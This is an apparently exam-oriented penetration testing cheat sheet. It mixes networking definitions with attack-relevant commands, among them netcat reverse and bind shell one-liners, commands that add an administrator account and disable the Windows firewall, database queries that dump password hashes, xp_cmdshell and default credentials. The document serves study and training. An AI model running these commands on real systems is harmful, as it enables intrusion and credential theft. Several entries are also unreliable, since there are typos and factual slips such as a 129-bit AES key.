CIDR Notation : /24

Classful IP Range Calculation
If the first bit is a "0", it's a class A address (Half the address space has a "0" for the first bit, so this is why class A takes up half the address space.)

If the second bit is a "0", it's a class B address (Half of the remaining non-class-A addresses, or one quarter of the total.)

If the third bit is a "0", it's a class C address (Half again of what's left, or one eighth of the total.)

If the fourth bit is a "0", it's a class D address. (Half the remainder, or one sixteenth of the address space.) If it's a "1", it's a class E address. (The other half, one sixteenth.)

Classless Subnets / CIDR
Class C - 255.255.255.0 , /24 (254 Hosts)
Class B - 255.255.0.0 , /16 (65,534 Hosts)
Class A - 255.0.0.0 , /8 (16,777,214 Hosts)

## Linux File System Structure

/bin - User Binaries
/boot - Bootup related files
/dev - Interface for system devices
/etc - System Config Files
/home - Base directory for user files
/lib - Critical software libraries
/opt - Third party software
/proc - System and running processes
/root - Home for root
/sbin - Sys Admin binaries
/tmp - Temporary Files
/usr - Less critical files
/var - Variable system files

## Windows

| Windows Commands | Description |
|---|---|
| **System Info** | **systeminfo**: Display detailed configuration information about a computer and its operating system. |
| **OS Version** | **ver**: Display the operating system version. |
| **Services** | **sc query state=all**: Display information about all installed services. |
| **Processes and Services** | **tasklist /svc**: Display a list of all running processes along with their services. |
| **Current User** | **echo %USERNAME%**: Display the current username. |
| **Find Files of Type** | **dir /a /s /b C:*.pdf**: Search for all PDF files on the C: drive and its subdirectories. |
| **Add User, Make Admin** | **net user <user> <pass> /add**<br>**net localgroup "Administrators" <user> /add**: Add a new user and make them an administrator. |
| **View Network Info** | Linux: **ifconfig**<br>Windows: **ipconfig /all**: Display network information. |
| **Active Directory Default Location** | **C:\Windows\NTDS**: Location of the NTDS.dit file, the physical storage file for Active Directory. |
| **Domain Common Folders** | **C:\Windows\SYSVOL**: Contains Group Policies, Login Scripts, Staging Folders, etc. |
| **IIS Defaults** | IIS 1 Defaults :Windows NT Addon<br><br>IIS 2 Defaults: NT 4.0<br><br>IIS 3 Defaults: NT 4 Service Pack<br><br>IIS 4 Defaults: NT4 Option Pack<br><br>IIS 5 Defaults: Windows 2000<br><br>IIS 5.1 Defaults: Windows XP<br><br>IIS 6 Defaults: Windows Server 2003, Windows XP Pro<br><br>IIS 7 Defaults: Windows Vista, Server 2008<br><br>IIS 7.5 Defaults: Windows 7, 2008 R2<br><br>IIS 8 Defaults: Windows Server 2012, Windows 8<br><br>IIS 8.5 Defaults: Windows Server 2012 R2, Windows 8.1<br><br>IIS 10 v 1607 Defaults: Windows Server 2016, Windows 10 Anniversary Update<br><br>IIS 10 v 1709 Defaults: Windows 10 Fall Creators, v1709 |

| Windows Commands | Description |
|---|---|
| | IIS 10 v 1809 Defaults: Windows Server 2019, Windows 10 October Update |
| **Disable Firewall** | **netsh advfirewall set currentprofile state off**<br>**netsh advfirewall set allprofiles state off**: Disable the Windows Firewall. |
| **Sysinternals Suite** | A set of powerful Windows administration applications. |
| **WMCI** | Windows Management Instrumentation Command-Line. |
| **Execute Process with WMCI** | **wmic process call create "process_name"**: Execute a process using WMCI. |
| **Uninstall Software with WMCI** | **wmic product get name /value**<br>**wmic product where name="XX" call uninstall /nointeractive**: Uninstall software using WMCI. |

## Netcat

| Netcat Commands | Description |
|---|---|
| **Start Listener to Catch Shell (Linux)** | **nc 10.0.0.1 1234 -e /bin/sh**<br>Starts a listener on IP 10.0.0.1, port 1234, and executes /bin/sh on connection. |
| **Start Listener to Catch Shell (Windows)** | **nc 10.0.0.1 1234 -e cmd.exe**<br>Starts a listener on IP 10.0.0.1, port 1234, and executes cmd.exe on connection. (-e is execute and is not always supported) |
| **Listen for Connection** | **nc -nlvp <port>**<br>Listens for a connection on the specified port. |
| **Transfer Text or Binary Files (Listener)** | **nc -nlvp 4444 > incoming.exe**<br>Listener waits for a connection on port 4444 and redirects incoming data to a file (e.g., incoming.exe). |
| **Transfer Text or Binary Files (Sender)** | **nc -nv IP_to_send_to 4444 < file**<br>Sender connects to the specified IP and port 4444 and sends the content of a file. |
| **Bind Shell (Listener)** | **nc -nlvp 4444 -e cmd.exe**<br>Listener sets up a bind shell on port 4444, executing cmd.exe on connection. |
| **Bind Shell (Sender/Talker)** | **nc -nv IP_to_connect_to 4444**<br>Sender/talker connects to the host on IP and port 4444. This executes cmd.exe on the host. |
| **Reverse Shell (Listener)** | **nc -nlvp 4444**<br>Listener waits for a reverse shell connection on port 4444. |
| **Reverse Shell (Sender)** | **nc -nv IP_to_send_to 4444 /bin/bash**<br>Sender initiates a reverse shell connection to IP on port 4444, sending /bin/bash. |

## VLAN

A switched network that is logically segmented by function, project team, or application, without regard to the physical locations of the users.

VLAN IDs 1002-1005
Token Ring and FDDI VLANs

VLAN IDs greater than 1005
Extended-range VLANs (not stored in the VLAN database)

VLAN IDs 1-1005
Normal-range VLANs

vlan.dat
Configurations for VLAN IDs 1-1005

## Server

IIS
Microsoft Web Server

Apache / Tomcat
Apache Web Servers

GWS
Google Web Server

Websphere
IBM Web Server

Litespeed
LiteSpeed Tech Web Server

## MS-SQL

MS-SQL : DB Version
SELECT @@version

EXEC xp_msver
(detailed version info)

MS-SQL : Run OS Command
EXEC master..xp_cmdshell 'net user'

MS-SQL : SELECT commands
SELECT HOST_NAME( ) : Hostname and IP

SELECT DB_NAME ( ) : Current DB

SELECT name FROM master..sysdatabases; : List DBs

SELECT user_name ( ) : Current user

SELECT name FROM master..syslogins : List users

SELECT name FROM master..sysobjects WHERE xtype='U'; : List Tables

SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjections WHERE name='mytable'); : List columns

MS-SQL : List all Tables and Columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

MS-SQL : System Table (Info on All Tables)
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

MS-SQL 2005 Vulnerability (Password Hashes)
SELECT name, password_hash FROM master.sys.sql_logins

## Postgres

SELECT commands
SELECT version(); : DB Version

SELECT inet_server)addr(); : Hostname and IP

SELECT current_database(); : Current DB

SELECT datname FROM pg_database; : List DBs

SELECT user; : Current user

SELECT username FROM pg_user; : List Users

SELECT username,passwd FROM pg_shadow : List password hashes

## MySQL

MySQL Default Credentials
root | MYSQL

MySQL : SELECT Commands
SELECT @@version; : DB Version

SELECT @@hostname; : Hostname and IP

SELECT database(); : Current DB

SELECT distinct (db) FROM mysql.db; : List DBs

SELECT user(); : Current user

SELECT user FROM mysql.user; : List Users

SELECT host,user,password FROM mysql.user; : List password hashes

MySQL : List Tables (and Columns)
SHOW TABLES (only works for current database)

SELECT * FROM information_schema.columns (full dump)

## Oracle

**Oracle Default Credentials**
--Username | Password--
SYSTEM | MANAGER
ANONYMOUS | ANONYMOUS
SCOTT | TIGER
OLAPSYS | MANAGER
SYS | CHANGE_ON_INSTALL

SELECT Commands
SELECT * FROM v$version; : DB Version
(SELECT version FROM v$instance;)

SELECT instance_name FROM v$instance : Current DB
(SELECT name FROM v$database;)

SELECT DISTINCT owner FROM all_tables; : List DBs

SELECT user FROM dual; : Current User

SELECT username FROM all_users ORDER BY username; : List users

SELECT column_name FROM all_tab_columns; : List Columns

SELECT table_name FROM all_tables; : List Tables

SELECT name, password, astatus FROM sys.user$; : List password hashes

## host.equiv (or .rhosts file) Structure

Allow any user to log in from any host:

+

Allow any user from host with a matching local account to log in:

host

Allow any user from host to log in:

host +

Allow user from host to log in as any non-root user:

host user

Allow all users with matching local accounts from host to log in except for baduser:

host -baduser
host

Deny all users from host:

-host

Allow all users with matching local accounts on all hosts in a netgroup:

+@netgroup

Disallow all users on all hosts in a netgroup:

-@netgroup

Allow all users in a netgroup to log in from host as any non-root user:

host +@netgroup

Allow all users with matching local accounts on all hosts in a netgroup except baduser:

+@netgroup -baduser
+@netgroup

## Language Vulns

Language Vulns : Java (OO)
Log Injection
Deadlock
Language-based Attacks

Language Vulns : C (Function)
Code Injection
Buffer Overflow

Language Vulns : Objective-C (OO)
Code Insertion
Malformation
Race Conditions

Language Vulns : C++ (OO)
Race Conditions

Language Vulns: PHP
Incorrect Element Removal

## OSI Model

"Please Dont Nag Tyrannosaurus, She'll Probably Attack"

1 : Physical (Bits)
2 : Data Link (Frames)
3 : Network (Packets)
4 : Transport (Segments)
5 : Session (Data)
6 : Presentation (Data)
7 : Application (Data)

**OSI Model PDU**

The ATM PDU is the cell
OSI physical layer PDU is the bit
OSI data link layer PDU is the frame
OSI network layer PDU is the packet
OSI transport layer PDU is the segment
PDUs between OSI session and application layers are referred to simply as the data

**OSI model**

| Layer | Name | Example protocols |
|---|---|---|
| 7 | Application Layer | HTTP, FTP, DNS, SNMP, Telnet |
| 6 | Presentation Layer | SSL, TLS |
| 5 | Session Layer | NetBIOS, PPTP |
| 4 | Transport Layer | TCP, UDP |
| 3 | Network Layer | IP, ARP, ICMP, IPSec |
| 2 | Data Link Layer | PPP, ATM, Ethernet |
| 1 | Physical Layer | Ethernet, USB, Bluetooth, IEEE802.11 |

## TCP/IP Model

"Never Ingest Turian Almonds"

1 : Network Interface
2 : Internet Layer
3 : Transport Layer
4 : Application Layer

## Wireless Standards

802.11b - 2.4 GHz 11 Mbps
802.11a - 5 GHz, 54 Mbps
802.11g - 2.4 GHz, 54 Mbps
802.11n - 5 GHz, 108 Mpbs
802.15 - Bluetooth 2.4 GHz

## Data Link Protocols

1) SLIP (serial line internet protocol)
2) PPP (point-to-point protocol)
3) ARP (address resolution protocol) (resolves IP's into MAC's)
4) RARP (reverse address resolution protocol) (MAC's into IP's)
5) L2F (layer 2 forwarding)
6) L2TP (layer 2 tunneling protocol)
7) PPTP (point-to-point tunneling protocol)
8) ISDN (integrated services digital network)

## Web

**HTTP Web Methods**
*Risky Methods are marked with a star

GET
HEAD (similar to GET)
POST
PUT*
DELETE*
CONNECT*
OPTIONS
TRACE*
PATCH

**HTTP Status Codes**
1xx - Info
2xx - Success
3xx - Redirection
4xx - Error
5xx - Server Error

HTTP Status Code 404
NOT FOUND the method is not available

HTTP Status Code 301
Moved Permanently

HTTP Status Code 302
Temporarily Moved

HTTP Status Code 410
Gone

**Web Server Common Flaws**
Denial of Service (DoS)
Buffer overflow attacks
Attacks on vulnerable scripts
URL manipulation

**DDoS (Distributed Denial of Service)**
An attack on a computer or network device in which multiple computers send data and requests to the device in an attempt to overwhelm it so that it cannot perform normal operations.

**XSS (Cross Site Scripting)**
A type of application attack where the attacker takes advantage of scripting and input validation vulnerabilities in an interactive website to attack legitimate users.

**Non-Persistent XSS**
XSS that occurs when the attacker's script that is injected is not stored in the backend, and the Web-browser client simply echoes back the results of the script execution. It can be over GET (QueryString) or POST (Forms) methods.
Can be used to steal cookies, redirect to phishing sites, and force actions if targets click on crafted links

**Persistent XSS**
malicious code that remains on a website (for ex) until it is removed
Good for getting ahold of forms, tickets, submissions, etc

**XML injection**
An attack that injects XML tags and data into a database. Can change data, effect how data is processed, etc.

**XXE (XML External Entity) Attack**
This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts

**LDAP Injection**
An attack that allows for the construction of LDAP statements based on user input statements, which can then be used to access the LDAP database or modify the database's information

## Wire-Wireless

**Wireless Standards**
802.11b - 2.4 GHz 11 Mbps
802.11a - 5 GHz, 54 Mbps
802.11g - 2.4 GHz, 54 Mbps
802.11n - 5 GHz, 108 Mpbs
802.15 - Bluetooth 2.4 GHz

10BaseT
LAN (Ethernet)
10 Mbps

100BaseT
"Fast Ethernet"
100 Mbps

1000BaseT
Gigabit Ethernet
1 GB

**CAT5**
type of cable that has the ability to transfer information from one computer to another

**Ethernet**
a system for connecting a number of computer systems to form a local area network, with protocols to control the passing of information and to avoid simultaneous transmission by two or more systems.

**Token Ring**
A networking technology developed by IBM in the 1980s. It relies upon direct links between nodes and a ring topology, using tokens to allow nodes to transmit data.

**Wireless Network**
Any type of computer network that is not connected by cables of any kind.
802.11

**WEP**
Wired Equivalent Privacy

**Wired Equivalent Privacy (WEP)**
An IEEE 802.11 security protocol designed to ensure that only authorized parties can view transmitted wireless information. Has significant vulnerabilities and is not considered secure.

**WPA**
Wireless Protected Access

**Wireless Protected Access (WPA)**
The 802.11 security method created as a stopgap between WEP and 802.11i,WPA2 uses AES Encryption

## Definition

**Kerberos**
A computer network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner.

**Border Gateway Protocol (BGP)**
A standardized exterior gateway protocol designed to exchange routing and reach-ability information among autonomous systems on the Internet. The protocol is classified as a path vector protocol.

**Postgres**
An object-relational database management system with an emphasis on extensibility and standards compliance.

**X11**
A windowing system for bitmap displays, common on Unix-like operating systems. Provides the basic framework for a GUI environment: drawing and moving windows on the display device and interacting with a mouse and keyboard.

**IPTables**
A user-space utility program that allows a system administrator to configure the tables provided by the Linux kernel firewall and the chains and rules it stores.

**Wireshark and TCPdump**
Common packet analyzers. Allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.

**pfSense**
Open source firewall/router computer software distribution based on FreeBSD.

**nslookup**
A network administration command-line tool for querying the Domain Name System (DNS) to obtain domain name or IP address mapping or for any other specific DNS record.

**Network Address Translation (NAT)**
A technique that allows private IP addresses to be used on the public Internet.

**APIPA**
Automatic Private Internet Protocol Addressing

**MTU**
maximum transmission unit - The largest data unit a network (for example, Ethernet or token ring) will accept for transmission.

**Unicast**
a message that is sent from a single sender to a single recipient

**Multicast**
a form of transmission in which a message is delivered to a group of hosts

**Router Protocol**
a protocol used between routers so that they can learn routes to add to their routing tables.

**Link State Routing**
A routing method that floods routing
information to all routers within a network to build and maintain a more complex network route database.

**Distance Vector Routing**
Each router passes a copy of its routing table to its adjacent neighbors. The neighbor adds the route to its own table, incrementing the metric to reflect the extra distance to the end network. The distance is given as a hop count; the vector component specifies the address of
the next hop.

**Hybrid Routing**
Routing protocol that uses the attributes of both distance vector and link state

**Interior Gateway Protocol (IGP)**
A routing protocol that operates within an autonomous system, which is a network under a single administrative control. Includes IGRP, EGRP, RIP, OSPF, and EIGRP

**Exterior Gateway Protocol (EGP)**
A routing protocol that operates between autonomous systems, which are networks under different administrative control. Border Gateway Protocol (BGP) is the only one in widespread use today.

**IPv6**
A new protocol developed to replace IPv4, addressing the issue of IP address exhaustion.
No broadcast, has Anycast instead.
128-bit in Hexidecimal

**MAC Address**
A Media Access Control address is a hardware address that uniquely identifies each node on a network. Traditional MAC addresses are 12-digit (6 bytes, or 48 bits) hexadecimal numbers.

**Network Architectures**
The design of a computer network; includes both physical and logical design.

**Shared Media LAN**
LAN that shares total bandwidth with all stations (ex. Token Ring)

**Switched Media LAN**
LAN with bandwidth shared between sender and receiver (Predicated Paths)
*Hubs are similar, but with NODES

**Netcraft**
Company that tracks web statistics, used to fingerprint web servers

**WHOIS**
a public Internet database that contains information about Internet domain names and the people or organizations that registered the domains. It is a source of information that can be used to exploit system vulnerabilities.

**Egress filtering**
Filtering outbound traffic

**Ingress Filtering**
Filtering inbound traffic

**Cisco Discovery Protocol (CDP)**
a Cisco proprietary Layer 2 protocol to gather information about neighboring Cisco devices

**HSRP (Hot Standby Router Protocol)**
This is exclusive to Cisco and allows a default router address to be configured to be used in the event that the primary router fails.

**VRRP (Virtual Router Redundancy Protocol)**
A standard that assigns a virtual IP address to a group of routers. At first, messages routed to the virtual IP address are handled by the master router. If the master router fails, backup routers stand in line to take over responsibility for the virtual IP address.

**VTP (VLAN Trunking Protocol)**
Cisco's protocol for exchanging VLAN information over trunks. Allows one switch on a network to centrally manage all VLANs.

**STP (Spanning Tree Protocol)**
A Layer 2 protocol that is used for routing and prevents network loops by adopting a dynamic routing method.

**EAP (Extensible Authentication Protocol)**
A protocol that enables systems to use hardware-based identifiers, such as fingerprint scanners or smart card readers, for authentication.

**nbtstat**
A Windows utility that is used to view and manage NetBIOS name cache information.

**Global Catalog Server**
A domain controller that holds a subset of the information in all domain partitions for the entire Active Directory forest.

**Master Browser**
Present on every subnet. Needed for a routed TCP/IP network

**Flexible Single Master Operations (FSMO) Roles**
Also known as operations master roles, these are servers that provide certain functions that can only be handled by one domain controller at a time.

**LANMAN hash**
The original hash used to store Windows passwords, known as LM hash, based off the DES algorithm. (Legacy)

**NTLM Hash**
Successor to the LM hash. A more advanced hash used to store Windows passwords, based off the RC4 algorithm.

**NTLMv2**
NTLMv2 was developed in response to attacks against the LM authentication protocol. The LM protocol, as the name implies, was originally used in the old LAN Manager Network operating system in the mid-1980s. It uses the MD5 password hash algorithm.

**OSPF (Open Shortest Path First)**
A link-state routing protocol used on IP networks.

**Static Routing**
An type of routing used by a network
administrator to manually specify the mappings in the routing table.

**Dynamic Routing**
Allows a router to determine the best route between two nodes automatically and then store this information in a routing table.

**AES (Advanced Encryption Standard)**
A block cypher created in the late 1990s that uses a 128-bit block size and a 128-, 129-, or 256-bit key size.

**TKIP (Temporal Key Integrity Protocol)**
A security protocol created by the IEEE 802.11i task group to replace WEP.

**Simple Object Access Protocol (SOAP)**
An XML-based communication protocol used for sending messages between applications via the Internet.

**Base64 Encoding**
An encoding scheme which represents any binary data using only printable ASCII characters. Usually used for encoding email attachments over SMTP

**dsquery**
Remote Server Administration Tools (RSAT) feature pack tool used to enumerate Windows Domain

**nslookup**
A network administration command-line tool for querying the Domain Name System (DNS) to obtain domain name or IP address mapping or for any other specific DNS record.